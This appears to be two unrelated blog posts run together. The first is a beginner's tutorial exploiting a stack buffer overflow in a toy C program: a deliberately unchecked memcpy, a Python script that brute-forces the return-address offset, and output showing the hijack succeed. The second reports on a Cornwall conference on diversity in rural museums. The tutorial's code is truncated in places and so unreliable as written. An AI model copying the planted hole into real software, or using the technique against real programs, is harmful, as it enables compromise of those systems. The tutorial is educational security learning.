My first buffer overflow exploit

I know worryingly little about the world of computer security – I’ve probably written a huge amount of exploitable code in my time, so it’s a good idea as a programmer to spend a bit of effort finding out more about how our programs can be compromised in order to gain awareness of the issues.

The key to understanding exploits is the concept of the universal machine – the fact that trying to restrict what a computer can do is literally fighting against the laws of physics. Lots of money can be poured into software which sometimes only takes a couple of days to get compromised, its a Sisyphean task where the goal can only be to make it “hard enough” – as its likely that anything complex enough to be useful is vulnerable in some way.

Having said that, the classic exploit is quite avoidable but regrettably common – the buffer overflow, a specific kind of common bug which makes it possible to write over a program’s stack to take control of it’s behaviour externally. This was about as much as I knew, but I didn’t really understand the practicalities so I thought I’d write an example to play with. There are quite a lot of examples online, but a lot of them are a little confusing so I’d thought I try a simpler approach.

Here is a function called “unlock_door”, we’ll compile this into a C program and try to force it to execute even though it’s not called from the program:

void unlock_door() { 
  printf("DOOR UNLOCKED\n"); 

Now we need a vulnerability, this could be something completely unrelated to “unlock_door” but called in the same program – or it’s library code:

void vulnerable(char *incoming_data, unsigned int len) {
    char fixed_buffer[10];
    // woop! put some variable length data in 
    // a fixed size container with no checking
    // print out the return pointer, helpful for debugging the hack!
    printf("return pointer is: %p\n", 

The dodgy memcpy call copies incoming_data into fixed_buffer on the stack which is 10 bytes big. If incoming_data is bigger then it will copy outside of the reserved memory and overwrite other data on the stack. One of the other things stored on the stack is the return address value – which tells the program where the function was called from so it can go back when it’s finished. If we can set incoming_data from outside the program, then we can exploit it to redirect program flow and jump into unlock_door instead of returning properly.

We’ll make getting data into the program very simple indeed, and input it via a base16 encoded argument string converted to binary data passed to our vulnerable function in main:

unsigned int base16_decode(const char *hex, char **data) {
  unsigned int str_size = strlen(hex);
  *data = malloc(str_size/2); 
  for (unsigned int i=0; i<str_size; i+=2) {
    if (sscanf(&(hex[i]), "%2hhx", &((*data)[i/2])) != 1) {
      return 0;
  return str_size/2;

void main(int argc, char **argv) {
  char *data;
  unsigned int size = base16_decode(argv[1],&data);
  printf("normal exit, door is locked\n");

This is our vulnerable C program finished. If we run it with just a few bytes of data it operates normally and prints out the current return pointer, sending it back into the main function it was called from:

$ ./dodgy_door_prog 0000000000
return pointer is: 0x40088c
normal exit, door is locked

We can now inspect it in order to figure out the exploit. The first thing we can do is run the standard bintools “nm” command on the binary which prints out the addresses of all the functions in the executable. We can search this with grep to print the address of the target function we want to call:

$ nm dodgy_door_prog | grep unlock_door
00000000004007fa T unlock_door

The smart thing to do next is to work out where the return pointer would be relative to the fixed_buffer variable and offset this address to provide a payload to send the the program – I’m not smart though, so I wrote a python program to figure it out for me:

import os
import string

# this is stored in memory in reverse (little endian format)
unlock_door_addr = "fa0740"

def build_payload(length):
    return "00"*length+unlock_door_addr

ret = 0
count = 0
# try increasing offsets and until we get the exit code from unlock_door
# ignore all segfaults and bus errors etc and keep retrying
while ret in [0,35584,34560,34304,33792]:
    cmd="./dodgy_door_prog "+payload
    ret = os.system(cmd);
    print cmd

It took me a while to figure out that addresses are stored in memory backwards to what you’d expect as it’s little-endian memory layout (on intel and everything else these days). The script keeps adding zeros in order to offset the target address until it sits in the right bit of stack memory (you can see the return pointer gradually getting corrupted) and eventually triggers the function:

./dodgy_door_prog 00000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Segmentation fault (core dumped)
./dodgy_door_prog 0000000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Bus error (core dumped)
./dodgy_door_prog 000000000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Bus error (core dumped)
./dodgy_door_prog 00000000000000000000000000000000000000000000fa0740
return pointer is: 0x400840
Segmentation fault (core dumped)
./dodgy_door_prog 0000000000000000000000000000000000000000000000fa0740
return pointer is: 0x404007
Segmentation fault (core dumped)
./dodgy_door_prog 000000000000000000000000000000000000000000000000fa0740
return pointer is: 0x4007fa

The successful offset is 24 bytes. Now the good news is that this is only possible on GCC if we compile with “-fno-stack-protector”, as by default for the last year or so it checks functions that allocate arrays on the stack by using a random “canary” value pushed to the stack, if the canary gets altered it stops the program before the function returns. However not all functions are checked this way as it’s slow, so it’s quite easy to circumvent for example if changed from an array to to the address of a local variable instead.

More advanced versions of this exploit also insert executable code into the stack to do things like start a shell process so you can run any commands as the program. There is also an interesting technique called “Return Oriented Programming” where you can analyse an executable to find snippets of code that end in returns (called “gadgets”) and string them together to run your own arbitrary programs. This reminds me of the recent work we’ve been doing on biological viruses, as it’s analogous to how they latch onto sections of bacterial DNA to run their own code.

Report: Rethinking Diversity in a Rural Region Conference

FoAM Kernow is an organisation in one of the most disadvantaged parts of the UK. Many of the gaps in our society are particually obvious in Cornwall, the separation between those whom our social structures benefit and those who they do not are clear to see in the separation between the coastal and inland regions, and in many finer grained distinctions.

In our work we have gaps too – on the one hand there are projects like Future Thinging For Social Living and codeclub where we get out and go to people who can benefit most from our work, and on the other we have our workshops at Jubilee Warehouse where we do well in terms of gender and ethnicity, but not so when it comes to socioeconomic diversity. What makes this more important is that we are situated in a town that is in the bottom 10% of income levels nationally. One of the central questions for the next year is how we can combine our global collaborations and research projects and make use of them in the very local situation?

We had a chat with our friends at FEAST and Cultivator in Redruth at the end of last year who told us about a timely event: Rethinking Diversity in a Rural Region, a conference organised by the Cornwall Museums Partnership at Wheal Martyn in St Austell. Here are my notes from the day.

"[Many] people have no understanding of what you offer"

The event was kicked off by Rachel Bell, who has been working with museums across Cornwall as part of her creative intern role over the last year. She shared her observations of museums here (which was useful as I am new to this sector), such as the mix of global focus of Cornish museums as well as its local heretige, but an obvious lack of teenagers and people from different cultures visiting them.

Next to speak was Andrea Gilbert, who works for Inclusion Cornwall. Andrea listed the official Protected Characteristics of concern when we are talking about inclusion and diversity. Something I liked was that her organisation has a very open approach when talking to people about these matters, it's ok to get it wrong – to use the wrong descriptions for categories or the wrong words – the important thing is to muddle through and learn.

One focus for Inclusion Cornwall is working with people on health related benefits, there are 23,000 people here in this category making it an important group to target. Some others she mentioned included the 60 rough sleepers in Cornwall and the high number of migrant agricultural workers. There are currently 500 vacancies for these jobs – so it's not a case of "taking our jobs", and it results in 59 languages being spoken in the schools here! There were also 10 convictions involving modern slavery here recently, so many seriously disadvanted people are hidden from view.

When talking about inclusion and cultural organisations Andrea says that it's very much a simple matter that "people have no understanding of what you offer". It seems that there is much opportunity to change this.

"Diversity is about renewing your sense of belonging to your communty"

A provocative talk by Tehmina Goskar went a little more into the motivations and philosophy for increasing diversity. We need to start by understanding our own personal biases, as well as asking "who will miss you if you are gone?". One big motivation is that "diversity is about renewing your sense of belonging to your communty".

The places where we talk about this matter too, avoiding corporate meeting rooms and being in different environments is important – and the Wheal Martyn museum (although having acoustic issues) was a great example of this kind of consideration. We saw lots of government statistics and phrases that are important in order to understand the official interpretation of the problems. Cornwall has 1m tourists per year resulting in a £2bn economy, and 68% of small businesses (SMEs) are in rural regions, so it seems that the cities are largely the preserve of the big companies. 20% of people living here have never been online. There is a concept used by DEFRA of Rural Proofing where the needs of rural people are considered in policy. Problems such as mobile coverage, lacking access to skills, R&D and transport are considered relevant.

There are more elderly people in rural areas too, and small pockets of deprivation which are harder to identify and easily overlooked by institutions. Tehmina suggested that we take matters into our own hands and get out and map them ourselves, and get to know our community better.

In practical terms diversity leads to more talent in your organisation, and longer term security – while a narrow focus tends to actually be more expensive, and shorter term. Ultimately, diversity is a creative force in it's own right, not to be ignored.

"Diversity is a creative force"

We had some quick examples of case studies next, Jan Horrell told us about the Wheal Martyn Memory cafe, which provides help and social contact for people with memory loss and importantly also some time out for their carers. Over time their participants went from being simply provided for, to more active joining in and eventually running their own activities for the others in the group. They also worked with Story Republic to provide theatre and story telling activites.

Zoe Burkett from Penlee House gallery and museum wanted to attract younger volenteers to help out with the 150 or so existing ones. They worked with Carefree who provide a different service to the normal 'working with schools' approach commonly used by organisations. Instead of deciding on an activity to do with them, they asked them what they would like to do – and they decided on an artistic skillsharing event across the generations to provide something for all the volunteers working there.

Liz Shepherd from Royal Cornwall Museum has been working with migrant families whose transient lives mean their children tend to be working at lower academic levels for their age. She decided to focus on music, which has otherwise been pushed to the edges of the curriculum in the UK. Music provides a cross cultural link for Polish, Lithuanian and Romany and Gypsy traveller families. She worked with the Cornwall Music Education Hub to help both children and the wider families to mix.

"the need for inclusive practice in physical and intellectual access are greater than ever before"

The final talk was by Becki Morris from the Disability Cooperative Network who attended the Rio paralympics inclusion summit and said that "the need for inclusive practice in physical and intellectual access greater than ever before". Her talk contained a lot of practical advice too, and introduced the concept of Universal Design as a way to think about these issues, so building things to cater for diversity makes them better for everybody – rather than to specialise things for different people.

Her slides were black text on yellow, and using matt rather than gloss for signs were a couple of simple design choices she talked about which can make a big difference. Also if you are running a museum, or using a space for any public event you should be publishing an access statement to make clear what the facilities are.

It was also interesting to see open source mentioned in this context, as being important for accessability generally. Groups she mentioned included purple space, a network of disability employee networks and AXSChat, an "open online community of individuals dedicated to creating an inclusive world". Becki also mentioned the issues we are facing politically, and that the times are bad – but they do also represent an new opportunity to break down some very old barriers.

In the afternoon I took part in a couple of workshops, the first ran by Emma Saffy Wilson and Becky Palmer was "how to reach new audiences". Some of the good ideas that came up included using our own families – as they often represent in themselves a lot of diversity, we should use this. With disadvantaged groups, the main issue is really confidence, so long term relationships are needed to be fostered. One way is to talk to other organisations with a history of working with groups you want to reach – but these contacts need to be treated very gently in themselves. At the end of the day, genuine listening and long term thinking are needed.

The second workshop I took part in, run by Theo Blackmore was "What should museums be doing to be more inclusive?". Although I was a bit less able to contribute to this, there were a lot of interesting suggestions – just getting people used to spaces, simple things first like using toilets in museums to simply get inside, and understanding that it's their space as much as anyone elses – that they are allowed to "hang out" there, is very important. Doing pop ups in galleries and museums is good too, to get different people involved and opening late or at weekends for people who prefer more quiet times rather than when it's busy.

Another idea from this workshop that seemed to resonate well was the "mantle of the expert", this concept from drama and theatre sets up a situation where (usually) young people are assigned the role of expertise over a specific subject or object which they learn and research themselves and then report back. This flips the power relation in a teaching situation.

So, plenty of things to think about. One of the biggest things was simply to find out about the organisations we should be talking to in relation to upcoming projects we are working on. Also when we are talking to researchers and artists looking for new ideas for who they should be reaching with their work this gives us a big picture of the situation in the rural region.